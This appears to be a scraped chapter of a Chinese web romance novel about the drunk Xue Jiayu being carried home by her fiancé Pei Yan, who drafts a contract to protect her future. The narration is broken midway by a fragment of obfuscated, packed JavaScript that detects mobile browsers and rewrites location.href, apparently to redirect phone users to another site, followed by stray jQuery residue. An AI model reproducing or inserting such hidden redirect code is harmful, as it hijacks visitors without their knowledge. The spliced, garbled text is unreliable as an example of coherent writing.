薛嘉玉靠在他的身上,双眼合上,旋即似乎是感觉到下面有一个又鼓又硬的东西硌得慌,便往后面挪了挪,她伸出手想要去探哪是什么,指尖刚碰到它,手腕却忽然被裴砚捉住。 裴砚的气息有些乱,他轻轻喘着气,语气中难得多了些许正经和严肃,“好了阿玉,我们回府吧。” 旖旎气氛就这样被他无情地打断,薛嘉玉忽然心情不是很好,她不知道这人怎么忽然间就变了脸色,但瞧见他面若冰霜地模样,她心里头有些发怵,也不敢问他。 只好乖乖跟着他回府。 喝得酩酊大醉的薛嘉玉走起路来摇摇晃晃,她牵着裴砚的手,抬头观察他的神色,还在板着个脸,她以为裴砚是因为自己耍流氓耍得过分了,裴砚才生气的。 为了安抚他的情绪,薛嘉玉冲着他眨巴眨巴眼睛,“文溪,你别生气了好不好?我下次再也不喝酒了,再也不调戏你了好不好?你不要板着个脸嘛,怪吓人的。” 裴砚的眉头微微蹙起,他用手指捏了捏眉心,“跟你没关系。” “那是因为什么?告诉我好不好?” 这种私密的事情,裴砚怎么可能宣之于口? 他随便敷衍了过去,旋即转移话题,“要不要我背你回去?” 薛嘉玉连连点头,嘴巴里说着“要”,人已经绕到裴砚身后了。 他半蹲着,弯下腰,薛嘉玉整理了一下肩膀上的披帛,接着整个人就趴在了他坚实可靠的背上。 她一手勾住裴砚的脖子,一手用披帛轻轻地扫着裴砚的脖子,弄得他觉得痒乎乎的,只听裴砚含笑道:“你这人怎么这般调皮?” “很小的时候,我爹背我,我就这么捉弄他,但后来跟着祖母一块儿生活,祖母年老,背不起我,就没有人再背过我了。你可是第二个背我的人,你就偷着乐吧。” 薛嘉玉又把披帛挪到他的耳后扫了几下,继而凑到他的耳畔,小声地叫了好几声“文溪”。 裴砚都被她逗笑了,他用手指捏了一下她的腿弯,“叫我干嘛?” 她似乎是觉得这样叫他很好玩,又用不同的语调唤了好几声。 要不是他正背着薛嘉玉,裴砚定要捏她几下。 她喝醉酒之后的花样真是层出不穷。 “文溪,你为什么会喜欢我呀?” 裴砚想了一下才道:“因为觉得你这小女娘挺奇葩的,就想多了解了解你。” 薛嘉玉的眉头陡然一皱,脸蛋皱皱巴巴的,显然是对这个回答相当不满意,她将披帛取下来,两手逮着头和尾,勒住裴砚的脖子。 她没好气地问:“什么叫做奇葩?” 裴砚不疾不徐地反问:“你就是这么对待你夫君的?你瞧,旁边那些人都看着你呢,可莫要在大庭广众之下弑夫。” 薛嘉玉的目光飘向四方,见旁边的行人都纷纷朝他们俩投来好奇的目光,她便把披帛重新搭在肩膀上,暂且饶过她一回。 “那你就是这么评价你夫人的?” 他巧舌如簧,立刻就想出了用于应付的说辞,“我说的奇葩是指你独一无二,这是一种极高的评价。” 她没读过什么书,没什么文化,就这么被忽悠了过去。 薛嘉玉靠在他的肩膀上,安安静静的,不像方才那样叽叽喳喳的,跟一只麻雀一样。 她忽然安静下来,裴砚居然有些不太习惯,他以为薛嘉玉是睡着了,便放缓脚步,可下一刻,她蓦地开腔,“文溪,成婚以后你还会不会对我这般好?会不会像别的男子一般变心?如果我生不了孩子,你会骂我打我吗?” 裴砚不知道她是从哪儿冒出来的这些奇思妙想,以为是婚期将至,她心中有些许焦虑和担忧,他温声安慰:“你放心,我会尽我所能一直对你好的,也不会变心。至于孩子,生不了就不生,你要是想要个孩子的话,那咱们可以去善堂领养一个嘛,何至于要打你骂你?” “可你怎么能保证你十年或是二十年之后不会变心呢?” “我知道保证未来是很苍白的,若你实在不能放下的话,那我们一会儿回了府就立下一则契约,倘若未来我当真背信弃义、抛妻弃子,那么我净身出户。” 可薛嘉玉却道了一句“算了”。 她本来就只是无聊问问的,也不是真心怀疑裴砚的人品。 只是裴砚却坚决要立下这样一份契约,并非是他不信任自己,而是他想要给薛嘉玉的未来多一层保障。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298246|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 裴砚不是女子,但也知道女子就算是和离之后,日子也不一定会也别好过,他不愿意看见未来的薛嘉玉过得不好。 况且把自己的身价财产交给她,裴砚亦是放一百个心的。 在他看来,爱一个女子,就应该给她铺好一条完整的后路,倘若有一天他出事了,也不至于让她陪着自己一同遭殃。 于是,回到裴府后,裴砚拖着醉醺醺的薛嘉玉在那封契约上面摁下了手印,随后便将契约整整齐齐地放在木匣子里,“阿玉,你可得要放好了。” 薛嘉玉迷迷糊糊地从他手里接过木匣子,方才裴砚写得太快,她都没看清楚他在纸上面写了些什么,只看见他在纸上写了密密麻麻的一坨。 他千叮咛万嘱咐:“你切记一定要放好,勿要搞丢了。” “我知道。”她觉得裴砚真啰嗦。 薛嘉玉喝得太醉,他担心让她去泡澡的话会不舒服,所以就早早把她抱到床上去,她的脑袋枕在软乎乎的枕头上面,侧躺着,瞧见裴砚要走了,急忙伸出手去抓他的裙摆。 裴砚转身,蹲在床前,饶有兴致地开口:“抓我裙摆是想让我留下来陪你一起睡觉?” 她生气地用脚踹了一下裴砚的肩膀,刚要将腿收回来,脚踝却被面前这个坏人给捉住了,薛嘉玉挣扎了好几次,都没能把腿收回,于是乎她放弃了挣扎。 见她渐渐没了兴致,裴砚也不逗她玩了,放开了她的脚踝,用被子给她的脚捂得严严实实,“不逗你了,脾气怎么这么大?叫我回来所为何事?” “你方才为什么发脾气了啊?是不是我哪里做错了?” 因为她知道裴砚对她很好,也总是包容她,所以薛嘉玉也想对他很好,想要以同样浓厚的爱意回馈,想要知道他会因为什么生气,会因为什么难过,当他不开心的时候,她应当怎么哄他。 裴砚不是不愿意说,而是不好意思说,可他又怕不说的话,薛嘉玉会以为自己还在生气,所以只随便搪塞了一下,“你大庭广众之下随便非礼我,我自然得要制止你一下。” “可是我们明明是在包厢里面啊,又没有被人看见。” 况且她都非礼裴砚这么多次了,也没见他像今日这般忽然冷脸。 “万一呢?如今你我可都在大理寺当差,再加之你是我朝唯一一位女仵作,不少眼睛都盯着你呢。” 裴砚这话听起来倒是真真的。 然而薛嘉玉还是没有相信,她不依不挠,“可是方才我只是摸了一下你的玉佩,你就突然间变了脸,这不像平常的你。” 裴砚暗暗心道:你摸的哪是玉佩啊?分明是我的—— 他不想和薛嘉玉这头笨猪计较。 “好了,不提这件事了,时候不早了快睡觉吧。” 薛嘉玉只觉这人今夜十分奇怪,忽然间的冷脸和现在的闪烁其词,都彰显着裴砚的心虚! 她势必要问出这究竟是怎么回事。 刚想到这里,一阵浓烈的睡意瞬间袭来,薛嘉玉的眼皮刚一合上,整个人就直接睡晕过去了。